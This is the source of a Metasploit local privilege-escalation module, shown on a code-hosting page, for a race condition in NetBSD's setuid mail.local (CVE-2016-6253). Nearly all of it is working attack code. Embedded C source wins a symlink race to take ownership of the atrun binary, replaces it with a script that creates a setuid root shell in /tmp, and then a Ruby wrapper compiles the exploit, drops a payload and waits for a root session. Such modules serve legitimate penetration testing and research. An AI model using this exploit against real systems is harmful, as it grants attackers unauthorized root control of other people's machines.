Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/netbsd_mail_local.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'NetBSD mail.local Privilege Escalation',16'Description' => %q{17This module attempts to exploit a race condition in mail.local with SUID bit set on:18NetBSD 7.0 - 7.0.1 (verified on 7.0.1)19NetBSD 6.1 - 6.1.520NetBSD 6.0 - 6.0.621Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.22},23'License' => MSF_LICENSE,24'Author' => [25'h00die <[email protected]>', # Module26'akat1' # Discovery27],2829'DisclosureDate' => '2016-07-07',30'Platform' => 'unix',31'Arch' => ARCH_CMD,32'SessionTypes' => %w[shell meterpreter],33'Privileged' => true,34'Payload' => {35'Compat' => {36'PayloadType' => 'cmd',37'RequiredCmd' => 'generic openssl'38}39},40'Targets' => [41[ 'Automatic Target', {}]42],43'DefaultTarget' => 0,44'DefaultOptions' => { 'WfsDelay' => 603 }, # can take 10min for cron to kick45'References' => [46[ 'URL', 'http://akat1.pl/?id=2'],47[ 'EDB', '40141'],48[ 'CVE', '2016-6253'],49[ 'URL', 'http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc']50],51'Notes' => {52'Reliability' => [REPEATABLE_SESSION],53'Stability' => [OS_RESOURCE_LOSS],54'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]55}56)57)58register_options([59OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),60OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),61OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),62OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])63])64end6566def exploit67# lots of this file's format is based on pkexec.rb6869# direct copy of code from exploit-db70main = %q{71// Source: http://akat1.pl/?id=27273#include <stdio.h>74#include <unistd.h>75#include <fcntl.h>76#include <signal.h>77#include <stdlib.h>78#include <string.h>79#include <err.h>80#include <sys/wait.h>8182#define ATRUNPATH "/usr/libexec/atrun"83#define MAILDIR "/var/mail"8485static int86overwrite_atrun(void)87{88char *script = "#! /bin/sh\n"89"cp /bin/ksh /tmp/ksh\n"90"chmod +s /tmp/ksh\n";91size_t size;92FILE *fh;93int rv = 0;9495fh = fopen(ATRUNPATH, "wb");9697if (fh == NULL) {98rv = -1;99goto out;100}101102size = strlen(script);103if (size != fwrite(script, 1, strlen(script), fh)) {104rv = -1;105goto out;106}107108out:109if (fh != NULL && fclose(fh) != 0)110rv = -1;111112return rv;113}114115static int116copy_file(const char *from, const char *dest, int create)117{118char buf[1024];119FILE *in = NULL, *out = NULL;120size_t size;121int rv = 0, fd;122123in = fopen(from, "rb");124if (create == 0)125out = fopen(dest, "wb");126else {127fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);128if (fd == -1) {129rv = -1;130goto out;131}132out = fdopen(fd, "wb");133}134135if (in == NULL || out == NULL) {136rv = -1;137goto out;138}139140while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {141if (fwrite(&buf, 1, size, in) != 0) {142rv = -1;143goto out;144}145}146147out:148if (in != NULL && fclose(in) != 0)149rv = -1;150if (out != NULL && fclose(out) != 0)151rv = -1;152return rv;153}154155int156main()157{158pid_t pid;159uid_t uid;160struct stat sb;161char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;162163umask(0077);164165login = getlogin();166167if (login == NULL)168err(EXIT_FAILURE, "who are you?");169170uid = getuid();171172asprintf(&mailbox, MAILDIR "/%s", login);173174if (mailbox == NULL)175err(EXIT_FAILURE, NULL);176177if (access(mailbox, F_OK) != -1) {178/* backup mailbox */179asprintf(&mailbox_backup, "/tmp/%s", login);180if (mailbox_backup == NULL)181err(EXIT_FAILURE, NULL);182}183184if (mailbox_backup != NULL) {185fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);186if (copy_file(mailbox, mailbox_backup, 1))187err(EXIT_FAILURE, "[-] failed");188}189190/* backup atrun(1) */191atrun_backup = strdup("/tmp/atrun");192if (atrun_backup == NULL)193err(EXIT_FAILURE, NULL);194195fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);196197if (copy_file(ATRUNPATH, atrun_backup, 1))198err(EXIT_FAILURE, "[-] failed");199200/* win the race */201fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);202203switch (pid = fork()) {204case -1:205err(EXIT_FAILURE, NULL);206/* NOTREACHED */207case 0:208asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "209"2> /dev/null", login);210211for(;;)212system(buf);213/* NOTREACHED */214215default:216umask(0022);217for(;;) {218int fd;219unlink(mailbox);220symlink(ATRUNPATH, mailbox);221sync();222unlink(mailbox);223fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);224close(fd);225sync();226if (lstat(ATRUNPATH, &sb) == 0) {227if (sb.st_uid == uid) {228kill(pid, 9);229fprintf(stderr, "[+] won race!\n");230break;231}232}233}234break;235}236(void)waitpid(pid, NULL, 0);237238if (mailbox_backup != NULL) {239/* restore mailbox */240fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);241242if (copy_file(mailbox_backup, mailbox, 0))243err(EXIT_FAILURE, "[-] failed");244if (unlink(mailbox_backup) != 0)245err(EXIT_FAILURE, "[-] failed");246}247248/* overwrite atrun */249fprintf(stderr, "[+] overwriting atrun(1)\n");250251if (chmod(ATRUNPATH, 0755) != 0)252err(EXIT_FAILURE, NULL);253254if (overwrite_atrun())255err(EXIT_FAILURE, NULL);256257fprintf(stderr, "[+] waiting for atrun(1) execution...\n");258259for(;;sleep(1)) {260if (access("/tmp/ksh", F_OK) != -1)261break;262}263264/* restore atrun */265fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);266267if (copy_file(atrun_backup, ATRUNPATH, 0))268err(EXIT_FAILURE, "[-] failed");269if (unlink(atrun_backup) != 0)270err(EXIT_FAILURE, "[-] failed");271272if (chmod(ATRUNPATH, 0555) != 0)273err(EXIT_FAILURE, NULL);274275fprintf(stderr, "[+] done! Don't forget to change atrun(1) "276"ownership.\n");277fprintf(stderr, "Enjoy your shell:\n");278279execl("/tmp/ksh", "ksh", NULL);280281return 0;282}283}284# patch in our variable maildir and atrunpath285main.gsub!(%r{#define ATRUNPATH "/usr/libexec/atrun"},286"#define ATRUNPATH \"#{datastore['ATRUNPATH']}\"")287main.gsub!(%r{#define MAILDIR "/var/mail"},288"#define MAILDIR \"#{datastore['MAILDIR']}\"")289290executable_path = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"291payload_file = rand_text_alpha(8).to_s292payload_path = "#{datastore['WritableDir']}/#{payload_file}"293vprint_status("Writing Payload to #{payload_path}")294# patch in to run our payload as part of ksh295main.gsub!(%r{execl\("/tmp/ksh", "ksh", NULL\);},296"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")297298write_file(payload_path, payload.encoded)299cmd_exec("chmod 555 #{payload_path}")300register_file_for_cleanup(payload_path)301302print_status "Writing exploit to #{executable_path}.c"303304# clean previous bad attempts to prevent c code from exiting305rm_f executable_path306rm_f '/tmp/atrun'307whoami = cmd_exec('whoami')308rm_f "/tmp/#{whoami}"309310write_file("#{executable_path}.c", main)311print_status("Compiling #{executable_path}.c via gcc")312output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")313output.each_line { |line| vprint_status(line.chomp) }314315print_status('Starting the payload handler...')316handler({})317318print_status("Executing at #{Time.now}. May take up to 10min for callback")319output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")320output.each_line { |line| vprint_status(line.chomp) }321322# our sleep timer323stime = Time.now.to_f324Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f325print_status(Time.now.to_s)326register_file_for_cleanup(executable_path)327register_file_for_cleanup("#{executable_path}.out")328print_status("Remember to run: chown root:wheel #{datastore['ATRUNPATH']}")329end330end331332333